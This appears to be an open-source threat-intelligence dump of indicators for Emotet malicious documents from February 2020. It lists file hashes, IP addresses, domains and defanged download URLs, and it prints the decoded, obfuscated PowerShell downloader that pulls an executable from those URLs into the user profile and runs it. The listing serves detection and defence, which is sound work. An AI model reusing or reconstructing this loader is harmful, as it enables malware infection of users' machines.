Emotet_Doc_out_2020-02-03_14_27.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
2aed441feb0d38c4c21858e907fb45a10a75f33c53158c64c67e85bab1e621c5
ac2327f210643de38481941d82d7dddcdf00af04546849e465856cb8451241ee
2829244f2b1520590571662a8bf2d0b3db7d44f4755a920f09fb0881f707a8b7


IPs:
104.18.56.166
104.18.57.166
107.180.2.223
120.78.167.124
172.105.174.17
185.32.20.6
188.85.143.170
192.241.143.52
195.223.215.190
35.237.206.52
69.16.201.104
98.199.196.197

Domains:
fdhk.net
HTTP
iihttanzania.com
myphamthanhbinh.net
sfmac.biz
www.bluedream.al
www.cometprint.net
www.mjmechanical.com


hxxp://iihttanzania.com/wp-admin/N8CWI/
hxxp://fdhk.net/plugins/8xshhk/
hxxp://pmvraetsel.newsoftdemo.info/wp-admin/pyUl573/
hxxp://realizaweb.site/cgi-bin/AbeNM155769/
hxxp://rochun.org/error/7WJ1/
hxxp://www.bluedream.al/calendar/r83g9/
hxxp://myphamthanhbinh.net/wp-content/uploads/qDq/
hxxp://sfmac.biz/calendar/K1a/
hxxps://www.cometprint.net/cgi-bin/q/
hxxp://www.mjmechanical.com/wp-includes/ddy/


Decoded Base64 Powershell:
$Jonbehomiwt='Rpsjfzzcee';
$Jqiqrdywerejv = '933';
$Vpryjauwezvg='Veztywnepzv';
$Suidtvcknoih=$env:userprofile+'\'+$Jqiqrdywerejv+'.exe';
$Imekoilmyvkms='Mqwdjkdyfka';
$Biswqqqhwjdy=&('new'+'-ob'+'ject') NET.wEBCLIeNt;
$Ivmqpivf='hxxp://iihttanzania.com/wp-admin/N8CWI/
hxxp://fdhk.net/plugins/8xshhk/
hxxp://pmvraetsel.newsoftdemo.info/wp-admin/pyUl573/
hxxp://realizaweb.site/cgi-bin/AbeNM155769/
hxxp://rochun.org/error/7WJ1/'."SPl`iT"('
');
$Qasdgemka='Ykcxipgfl';
foreach($Rgvjtnup in $Ivmqpivf){try{$Biswqqqhwjdy."dowNLO`A`dFI`LE"($Rgvjtnup, $Suidtvcknoih);
$Ycstleozzolf='Dhgozdmbpeyig';
If ((.('G'+'e'+'t-Item') $Suidtvcknoih)."lENG`Th" -ge 32019) {[Diagnostics.Process]::"stA`RT"($Suidtvcknoih);
$Ulgybpkmt='Bprmfgyeharmv';
break;
$Mnvcyyiuuaywx='Turhklxrschki'}}catch{}}$Zksdcwrr='Suxmgjbqkgwuo'$Nahxbzxmnsmb='Gbmdnmghn';
$Qshhtlnimac = '906';
$Jllxiysvhp='Sbpbdavfzfgh';
$Jaepuporub=$env:userprofile+'\'+$Qshhtlnimac+'.exe';
$Pznfmjcoqlbpk='Yxrusllwfd';
$Vodljxrzqmnl=&('new'+'-'+'obj'+'ect') NEt.weBClIENT;
$Aiuwgxcngj='hxxp://www.bluedream.al/calendar/r83g9/
hxxp://myphamthanhbinh.net/wp-content/uploads/qDq/
hxxp://sfmac.biz/calendar/K1a/
hxxps://www.cometprint.net/cgi-bin/q/
hxxp://www.mjmechanical.com/wp-includes/ddy/'."S`PLIT"('
');
$Pndfexli='Cdxreleao';
foreach($Peyoauygfcguz in $Aiuwgxcngj){try{$Vodljxrzqmnl."DO`WNLoaDF`ilE"($Peyoauygfcguz, $Jaepuporub);
$Wbhpmhlec='Zhnbmgwr';
If ((&('Ge'+'t-It'+'em') $Jaepuporub)."l`ENgtH" -ge 39143) {[Diagnostics.Process]::"sTA`RT"($Jaepuporub);
$Pvnxagasepx='Lvprqzdqaaep';
break;
$Yydwqzgl='Pgfdjdlb'}}catch{}}$Prqfazcypvjh='Cubthwma'